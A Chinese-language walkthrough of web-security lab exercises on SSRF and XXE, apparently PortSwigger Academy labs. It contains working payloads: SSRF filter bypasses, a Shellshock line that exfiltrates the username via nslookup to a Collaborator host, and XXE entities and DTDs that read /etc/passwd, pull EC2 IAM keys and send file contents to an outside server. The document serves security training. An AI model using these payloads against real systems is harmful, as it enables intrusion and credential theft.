网络安全:SSRF+XXE漏洞挖掘笔记

658 阅读16分钟

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果

一、Server-side request forgery (SSRF)

01、Basic SSRF against the local server

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos

解决方案

1.浏览/admin并观察您无法直接访问管理页面。

image.png

2.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。

3.将stockApi参数中的 URL 更改为http://localhost/admin. 这应该显示管理界面。

image.png

4.阅读 HTML 确定删除目标用户的 URL,即: http://localhost/admin/delete?username=carlos

image.png

5.在stockApi参数中提交这个 URL ,来传递SSRF 攻击。

image.png

image.png

为了感谢广大读者伙伴的支持,准备了以下福利给到大家: 【一>所有资源获取<一】 1、200多本网络安全系列电子书(该有的都有了) 2、全套工具包(最全中文版,想用哪个用哪个) 3、100份src源码技术文档(项目学习不停,实践得真知) 4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版) 5、网络安全学习路线(告别不入流的学习) 6、ctf夺旗赛解析(题目解析实战操作)

02、Basic SSRF against another back-end system

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室问题,请使用库存检查功能处的漏洞扫描192.168.0.XC段哪个IP的 8080端口 上开启了WEB服务管理界面,然后使用它删除用户carlos

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Intruder。 2.单击“clear §”,将stockApi参数更改为http://192.168.0.1:8080/admin,对 IP 地址的最后一个八位字节(数字1),单击“添加有效载荷 §”。

image.png

3.切换到Payloads选项卡,将payload类型改为Numbers,在“From”、“To”和“Step”框中分别输入1、255和1。意思是从1到255遍历,点击“开始攻击”。

image.png

4.单击“状态”列可按状态代码升序对其进行排序。您应该会看到一个状态为 200 的条目,显示了一个管理界面。

image.png

5.点击这个请求,发送到Burp Repeater,将里面的路径改成stockApi:/admin/delete?username=carlos

image.png

image.png

03、SSRF with blacklist-based input filter

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos

开发人员部署了两个您需要绕过的弱反 SSRF 防御。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.将stockApi参数中的 URL 更改为http://127.0.0.1/,请求被阻止。

image.png

3.通过将 URL 更改为以下内容来绕过块: http://127.1/

使用的替代IP表示127.0.0.1,例如2130706433,017700000001,或127.1。

image.png

4.将 URL 更改为http://127.1/admin并观察该 URL 再次被阻止。

image.png

5.通过双 URL 编码将“a”混淆为 %2561 以访问管理界面并删除目标用户。a的url编码结果是%61%的url编码是%25

image.png

6.删除carlos

stockApi=http://127.1/%2561dmin/delete?username=carlos

image.png

04、SSRF with whitelist-based input filter

基于白名单绕过滤的ssrf

某些应用程序仅允许与允许值的白名单匹配、以该白名单开头或包含该白名单的输入。在这种情况下,您有时可以通过利用 URL 解析中的不一致来绕过过滤器。

URL 规范包含许多在实现 URL 的临时解析和验证时容易被忽视的功能:

您可以使用@字符在 URL 中的主机名之前嵌入凭据。例如:https://expected-host@evil-host

您可以使用#字符来表示 URL 片段。例如:https://evil-host#expected-host

您可以利用 DNS 命名层次结构将所需的输入放入您控制的完全限定的 DNS 名称中。例如:https://expected-host.evil-host

您可以对字符进行 URL 编码以混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式不同于执行后端 HTTP 请求的代码,这将特别有用。

您可以结合使用这些技术。

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos

开发人员已部署了您需要绕过的反 SSRF 防御。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.fuzz测试应用程序对哪些连接符进行过滤

将stockApi参数中的 URL 更改为http://127.0.0.1@stock.weliketoshop.net,添加@位置为有效载荷。

image.png

%2540 %2523 %252e分别是@#.

image.png

image.png

可以得出@连接符可用,未被过滤。 3.fuzz测试应用程序对本地地址的过滤

image.png

5.遍历结果发现%2523未被过滤,这是#的双重编码。.

image.png

6.更改 URL 以localhost:80%2523@stock.weliketoshop.net/admin/delet…访问管理界面并删除目标用户。

image.png

image.png

05、SSRF with filter bypass via open redirection vulnerability

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://192.168.0.12:8080/admin并删除用户carlos

库存检查器已被限制为只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.尝试篡改stockApi参数并观察到无法让服务器直接向不同的主机发出请求。 3.单击“Next product”并观察该path参数被放置在重定向响应的 Location 标头中,从而导致打开重定向。

image.png

image.png

image.png

4.创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其提供给stockApi股票检查器上的参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin

image.png

5.修改删除目标用户的路径:

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

image.png

06、Blind SSRF with out-of-band detection

描述

该站点使用分析软件,在加载产品页面时获取在 Referer 标头中指定的 URL。

要解决实验室问题,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。

解决方案

1.在Burp Suite Professional 中,转到 Burp 菜单并启动Burp Collaborator 客户端。

image.png

2.单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

9ku1dr3wc25eze1famnlfqnqfhl79w.burpcollaborator.net

image.png

3.访问一个产品,拦截 Burp Suite 中的请求,并将其发送到 Burp Repeater。

image.png

4.更改 Referer 标头以使用生成的 Burp Collaborator 域代替原始域。发送请求。

image.png

5.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟并重试,因为服务器端命令是异步执行的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bEjm3FTQ-1634976123186)(upload-images.jianshu.io/upload_imag…)]

6.您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image.png

07、Blind SSRF with Shellshock exploitation

描述

该站点使用分析软件,在加载产品页面时获取在 Referer 标头中指定的 URL。

为了解决实验室问题,使用此功能对端口 8080 范围内的内部服务器执行盲 SSRF攻击192.168.0.X。在盲攻击中,使用针对内部服务器的 Shellshock 负载来窃取操作系统用户的名称。

解决方案

1.在Burp Suite Professional 中,从 BApp Store 安装“Collaborator Everywhere”扩展。

image.png

2.将靶场的域添加到 Burp Suite 的目标范围,以便 Collaborator Everywhere 将其作为目标。 浏览网站。

image.png

image.png

3.开始浏览产品页面,随便找几个商品点进去在点击return,插件会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。

image.png

4.观察 HTTP 交互在 HTTP 请求中包含您的 User-Agent 字符串。将请求发送到产品页面给 Burp Intruder。

image.png

5.使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中:

() { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net

image.png

6.将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 负载。

单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”。

image.png

7.切换到Payloads选项卡,将payload类型改为Numbers,在“From”、“To”和“Step”框中分别输入1、255和1。 点击“开始攻击”。

image.png

8.攻击完成后,返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟并重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击攻击的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。

image.png

9.要完成实验,请输入操作系统用户的名称。

peter-I7hfdy

image.png

二、XXE injection

01、Exploiting XXE using external entities to retrieve files

描述

该实验室具有“Check stock”功能,可解析 XML 输入并在响应中返回任何意外值。

为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。

解决方案

1.访问产品页面,单击“Check stock”,然后在 Burp Suite 中拦截生成的 POST 请求。

image.png

2.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3.将productId数字替换为对外部实体的引用:&xxe;。响应应包含Invalid product ID:,后跟/etc/passwd文件的内容。

image.png

image.png

02、Exploiting XXE to perform SSRF attacks

描述

该实验室具有"Check Stock"功能,可解析 XML 输入并在响应中返回任何意外值。

实验室服务器在默认 URL 上运行(模拟的)EC2 元数据端点,即http://169.254.169.254/. 此端点可用于检索有关实例的数据,其中一些可能是敏感的。

为解决实验室,利用XXE漏洞执行SSRF攻击,从EC2元数据端点获取服务器的IAM秘密访问密钥。

解决方案

1.访问产品页面,单击“Check Stock”,然后在 Burp Suite 中拦截生成的 POST 请求。

image.png

2.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3.将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,最初是文件夹名称。

image.png

4.迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin. 这应该返回包含SecretAccessKey.

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1tf9UjnR-1634976123226)(upload-images.jianshu.io/upload_imag…)]

image.png

03、Blind XXE with out-of-band interaction

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

您可以通过触发与外部域的带外交互来检测盲 XXE漏洞。

为了解决实验室问题,使用外部实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

1.访问产品页面,单击“Check stock”并拦截Burp Suite Professional 中生成的 POST 请求。

2.转到 Burp 菜单,然后启动Burp Collaborator 客户端

image.png

3.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:

5.将productId数字替换为对外部实体的引用:&xxe;

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

image.png

6.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。 image.png

image.png

04、Blind XXE with out-of-band interaction via XML parameter entities

描述

该实验室具有“Check stock”功能,可解析 XML 输入,但不显示任何意外值,并阻止包含常规外部实体的请求。

为了解决实验室问题,使用参数实体让 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

1.访问产品页面,单击“Check stock”并拦截Burp Suite Professional 中生成的 POST 请求。

2.转到 Burp 菜单,然后启动Burp Collaborator 客户端

3.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1652ffdx6ehfr67aox39dcqfw62wql.burpcollaborator.net"> %xxe; ]>

image.png

5.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image.png

05、Exploiting blind XXE to exfiltrate data using a malicious external DTD

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请提取/etc/hostname文件的内容。

解决方案

1.使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端

2.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3.将 Burp Collaborator 负载放入恶意 DTD 文件中:,注意这里%是%的HTML编码结果

参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。 ​ 第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。 ​ 引用:cloud.tencent.com/developer/a…

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

4.单击“Store”并将恶意 DTD 文件保存在您的服务器上。单击“view exploit”并记下 URL。

https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit

image.png

5.您需要通过添加引用恶意 DTD 的参数实体来利用Check stock功能。首先,访问产品页面,单击“Check stock”,并在 Burp Suite 中拦截生成的 POST 请求。

6.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit"> %xxe;]>

7.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。

8.您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。HTTP 交互可以包含/etc/hostname文件的内容。

读取结果

94c9f0a3f381

image.png

06、Exploiting blind XXE to retrieve data via error messages

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决该实验,请使用外部 DTD 触发显示/etc/passwd文件内容的错误消息。

该实验室包含指向不同域上的漏洞利用服务器的链接,您可以在其中托管恶意 DTD。

解决方案

1.单击“Go to exploit server”并将以下恶意 DTD 文件保存在您的服务器上: 导入时,此页面会将其内容读入实体,然后尝试在文件路径中使用该实体。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

image.png

2.单击“View exploit”并记下恶意 DTD 的 URL。

https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd

3.您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“Check stock”,并在 Burp Suite 中拦截生成的 POST 请求。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义: 您应该看到一条包含文件内容的错误消息。

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd"> %xxe;]>

"XML parser exited with non-zero code 1: /invalid/

image.png

image.png

07、Exploiting XXE to retrieve data by repurposing a local DTD

通过复用本地DTD利用XXE盲打

如果目标不出网,或者有某限制不能使用外部dtd实体,这时可以尝试使用本地的dtd实体,就是把dtd的语句写在靶机里。

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请触发一条包含/etc/passwd文件内容的错误消息。

您需要引用服务器上现有的 DTD 文件并从中重新定义实体。

暗示

使用 GNOME 桌面环境的系统通常在包含一个名为/usr/share/yelp/dtd/docbookx.dtd的实体时有一个 DTDISOamso.

解决方案

1.访问产品页面,单击“Check stock”,并在Burp Suite中截获生成的POST请求。

2.在XML声明和stockCheck元素之间插入以下参数实体定义:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

这将导入Yelp DTD,然后重新定义ISOamso实体,触发包含/etc/passwd文件内容的错误消息。

暗示中提到一个内部的DTD:/usr/share/yelp/dtd/docbookx.dtd,这个内部DTD中有一个参数实体叫ISOamso,然后重写这个参数实体。

注意:

参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。 ​ 第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。 ​ 引用:cloud.tencent.com/developer/a…

image.png

image.png

08、Exploiting XInclude to retrieve files

描述

该实验室具有“check stock”功能,该功能将用户输入嵌入服务器端 XML 文档中,随后对其进行解析。

因为您无法控制整个 XML 文档,所以您无法定义 DTD 来发起经典的XXE攻击。

要解决实验室问题,请注入一条XInclude语句来检索/etc/passwd文件的内容。

解决方案

1.访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。

2.将productId参数值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

image.png

image.png

09、Exploiting XXE via image file upload

描述

该实验室允许用户将头像附加到评论中,并使用 Apache Batik 库来处理头像图像文件。

要解决实验室问题,请上传/etc/hostname处理后显示文件内容的图像。然后使用“提交解决方案”按钮提交服务器主机名的值。

暗示

SVG 图像格式使用 XML。

解决方案

1.使用以下内容创建本地 SVG 图像:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

image.png

2.在博客文章上发表评论,并上传此图片作为头像。

3.查看评论时,您应该会``在图像中看到/etc/hostname文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。

image.png

提交7174a45a0efa

image.png